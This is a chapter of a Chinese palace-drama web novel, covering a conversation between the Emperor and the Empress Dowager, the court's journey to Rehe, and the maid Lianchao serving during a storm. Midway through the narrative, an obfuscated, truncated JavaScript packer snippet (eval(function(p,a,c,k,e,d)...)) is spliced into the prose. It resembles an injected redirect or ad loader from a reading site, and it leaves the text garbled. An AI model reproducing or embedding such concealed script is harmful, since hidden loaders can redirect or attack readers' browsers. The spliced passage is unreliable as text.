似乎想起旧事,素来看得开的太后也微微叹了口气,说很不必麻烦,“往年随驾去热河,我都住在莹心堂,你少时常在前边静寄山房读书。如今在紫禁城里虽然搬了家,热河用惯了的物件,只怕还收在原处。挪到慈宁宫,屋子这么大,我住着心慌。松鹤斋是仁宗爷奉养祖母的地方,打昭慈太皇太后过身,长久没人居住,我不必惊扰,就住在原处好。” 皇帝颔首称是,“那儿子着人安排。不如今年赏月就摆在月色江声,还跟从前一样,儿子奉额捏高乐。” 太后托着盅子喝口茶,这才徐徐道,“人移物换,能保全者少。守旧求稳,立事欲新。我是个妇道人家,不懂得很多,但是我的儿,你用前朝的一点子不称手段的法子,摆弄后宫的妇人,实在不可称善,也不可称为仁。” 皇帝站起来,垂手恭听母训。赵有良有眼色,示意屋子里一干伺候的人都出去了。 皇帝方道,“儿子予循贵妃摄六宫事之权,于情于理都不该干涉。只是事发于御前,内廷宫人侍上,儿子既享之,则有庇佑之责任。不得不权衡是非,勿使一人寒心,觉得天家薄恩寡义。” 太后悠悠地叹口气,“整个紫禁城,你为主,她为仆。可在后宫,一日无皇后,贵妃便是主,余下即为仆。皇帝贸然插手后宫之事,居中调停,只会让众人觉得,贵妃失德,难以信服,才分了前朝的圣心。你不痛快她行事,没什么。放开流言,坏了后宫的规矩尺度,往后生的乱,就多了。” 年轻的帝王唇角微微上扬,生来即是如此,他的声音冷静,虽然眉眼温和,若是长久凝望,便能察觉出他的笑与好从来都是池面上的浮冰。 皇帝如同叙述一件再平常不过的小事,“额捏如今贵为太后,不必再似做妃子时那般谨慎。儿子承膺宗命,即位为君。再不是享国之初,与众臣分天下的朝廷。文武臣工,是因为他们对江山社稷有用,当得好儿子的奴才,才有资格站在朝堂。后宫亦是如此,有能则当,无能则退。如若还要犹豫不定,忌惮家世,殚精竭虑做成个赘婿,来做什么君王。” 21.亥时五刻 太后原本正经和他说话,怕他不晓得后宫的心思,为以后埋下无益的祸患。听他沉稳地说完这一席话,抬眼打量他,真红色的团龙纹袍身鳞爪飞扬,顿然觉得自己所思虑的一切都不过是白白地担忧。 他已经长大了,从在月色江声窗下读书的皇阿哥长成为肩负山河的帝王,作为母亲,她既为这种不察的转变感到惘然失落,又由衷为面前意气风发的少年天子感到欣慰骄傲。 太后似乎了悟,打量着他,“这回到热河,预备带谁去?” 皇帝低眉,“儿子已让静、瑞二嫔,协助贵妃打理六宫,眼下正是历练的时候。此次去热河,还在皇父丧期,不宜张扬。一则为了秋狝,二则是想见一见蒙古诸王。带贵妃前去即可。” 太后思量半晌,末了还是笑着说,“你有自己的主意,是再好不过的事。那我便再没有什么可嘱咐的了,从今往后,安稳清闲地享福吧。” 皇帝松了口气,再度回到炕上坐下,母子两个言笑如常,他顺势问,“儿子下午不忙,来陪额捏看戏,额捏在宫里看,还是往畅音阁去看?” 太后想了想,摆手,“就是恁么几出,天上地下,才子佳人,因为佳人是个美人,必有个穷困的公子来仗义帮助,恰好佳人又是个待字闺中没有婚配的官家小姐,恰好一见钟情就不管不顾地看上这个书生,英雄救美,非他不可。竟是离了这个书生,就饭也不会吃,觉也睡不着,人也不得活了!古往今来的大团圆,都是这个路数,看两遍尚觉得新鲜,看多了,就觉得没味道,懒得费神。” 皇帝耐心含笑听着,等太后说完,才让福保把几本书捧上来,送到太后跟前,“承德路上漫漫,戏也不能随行。额捏不快,子臣之过。以此聊表孝心。” 太后打起精神拿来看,见书面上写的都是个什么花样子,无奈道,“你娘我老了,老眼昏花,绣不得花。” 说着翻开看看,仔细凝神,觉察出不对来,又娴熟地翻到第二页,看到熟悉的署名和熟悉的几个大字,顿时眉花眼笑地赞叹,“但是看看花样子还是使得,可以陶冶心性。皇帝真是仁孝,太仁孝了!” 八月初八日,圣驾自西华门出,奉太后前往热河行宫。 御前总领宫女们的是春知。余下尚衣、尚寝、茶水、针工、尚膳、笔墨各处都点了人选交赵有良过目,连朝虽然哪一个都不是,却哪一个都沾着点儿。好在她们一屋子人都齐全,大宫女们的车,便远远跟在贵妃的车舆之后。 她从没到过比京城还北的地方。 那时跟阿玛上京来,走的多是水路。人在船中坐,沿岸的景色便走马观花似地打眼里过。如今跟着车马再往北走,又是秋天,极目所见,红衰翠减,尽是扎人的枯黄。 她们三个都是闷葫芦,不爱起头说话。要是庆姐还在,必会热闹许多。 车马无聊,惟有谈天睡觉。等连朝不晓得第几次从睡梦里囫囵惊醒,听见隐隐雷声,掀开车帘一看,浓云盖顶,天色昏暗,硕大的雨珠子毫不留情地迎面砸下来,惊得尘灰四散,便看见不远处的太监们一队队朝后边传话,“车马慢行,驻跸常山峪行宫——” 伺候的宫女们忙活起来。几个人都机敏,打着伞下车,提前入行宫伺候。春知先与行宫太监互问过好,一行人皆衣衫尽湿,便先让人带她们上屋里换衣裳,抿头发。备膳的备膳,迎驾的迎驾。 春知问连朝,“会熨衣服么?” 连朝说“会”,春知便说,“好,衣服上缺了一员,你先替上。荣喜,领她去开包袱,把主子爷的几件袍子熨上熏过,不要坏了味道。” 荣喜“嗳”一声,急匆匆地要走,“你跟我来吧!” 屋子里昏暗,点起灯才好了些。还是一阵阵的闷雷伴着闪电,噼里啪啦地叫嚣着。荣喜领她进去,往墙边一指,说,“过会子安置好,指定要换家常的便袍。你把它熨平整,一丝褶儿都不要有。” 不等她说话,火急火燎地叫住,“豆儿!刚交来的大红雨衣,别随手撂!刚热起来的盆子,你看见火没有你就放啊!淋雨淋昏了吧你!” 豆儿耸耸肩,把雨衣抚平整了,大红色在蜡烛下看着耀眼。抚着抚着靠过来,笑眯眯地问,“眼生。荣姐姐把你要来的?不应该呀,咱们这儿就她最伶俐,哪会往外头要人呢。” 连朝慢慢试熨斗,回说,“春姑姑怕我手笨闲了被人骂,开恩把我打发来了。” 豆儿说,“怪道呢。你真不像咱们这的人。咱们这的人都风风火火的,哎哟,在车上噼里啪啦,那嘴跟针一样,又利索,又戳人。” 连朝笑了笑,把包袱放一边就要熨,豆儿忙叫住她,弯腰把签子拿出来,郑重收好了,才提醒她,“这可是宝贝,丢不得。咱们只管领衣裳,伺候主子衣冠,东西是不存这儿的。这个签子就是交割的凭证,譬如这一件的纽子是白玉卍字扣五颗,签上都写明,到时候交过去他们要查的。弄混了、少了、丢了,立时就能查出来。报上去那可是大罪!” 她叹了口气,“你哪里得罪了她!她什么都不与你说。放着,你来理雨衣,我来熨它。” 连朝道谢,让到一边,雨水的潮气与屋子里炭气混在一起令人生闷,雷声轰轰,炸个没完。她只好去理衣裳,无意问,“那,冠帽也是你们管么?” 豆儿说是呀,“大到朝冠、朝珠、吉服冠,小到佛珠钮子十八子,都是过咱们手,大物件儿还得姑姑亲自检查押签儿,这可马虎不得。所以咱们这儿的人心高呀,又利索。每天跟各种奇珍异宝打交道,什么东珠呀,翡翠呀,这么大的沉香珠子,蜜蜡摆件,平金堆绫打籽的荷包儿……啧啧啧,看够了好东西,心气儿能不高么!” 她安然地听着,觉得心里也似外头的雨,一阵阵地凉上来。又觉得了然洞彻,反倒抿嘴笑了,“原来如此。” 赵有良让她进去奉茶的时候,皇帝已经盥沐过,换了一身苍蓝色的团龙纹便服袍,站在窗边看雨。长身玉立,襟袖之间若有若无的龙涎被沉水香的气息压下,愈发显得孤标一格。 连朝将茶盏奉过去,皇帝随口说搁着吧,见是她,才问,“雨下得很大么?” 她回说,“没有要停的势头。万岁爷不是正在观雨吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵有良气不打一处来,招呼福保拿伞来,亲自递到她手里,“姑娘这人,我要是平常见着了,是不喜欢打交道的。你太梗了!非闹不痛快,自己日子就好过?万岁爷金尊玉贵的人物,要低声下气给你解释,说劝,姑娘就顺心了?若不是念着旧情,暗地里搭把手,那有福不过是个园子里办事的太监,值得万岁爷亲自见一见,说会子话?那是借念旧的由头捞人!姑娘怎么非要我说明白!” 连朝客气地叫声谙达,“我是个实心人,目光短浅,就在看眼前,没心思追求明里暗里的来龙去脉,再自己感动一番来感恩戴德。因此往后这些什么好,谙达很不必对我说了。” 赵有良张了张嘴,终究什么也没说,只道,“姑娘收拾收拾桌子吧。” 天还是昏黑的,秋天的雨,又爱刮风,下起来冷,雨声倒似渐渐地小了。有宫人送灯进来,她调准位置,把笔墨纸砚四样都归置清楚,原本起伏芜杂的心绪,也慢慢地整理沉静下来。再去理另一边,却见案上放了一块青金石印,压着张稿子,隐隐篆文。 上好的青金石,螭龙盘跃,望之温润。 她霎时想到了一双眼睛。亦是这般,沉静地,不辨喜怒。 想起死寂的黛蓝色天空中升腾起的火光,随着纸张的燃烧发出光亮,又消弭殆尽。 她一时有些出神,便听见赵有良远远地在门口传话,“姑娘,万岁爷命你送盏灯去。”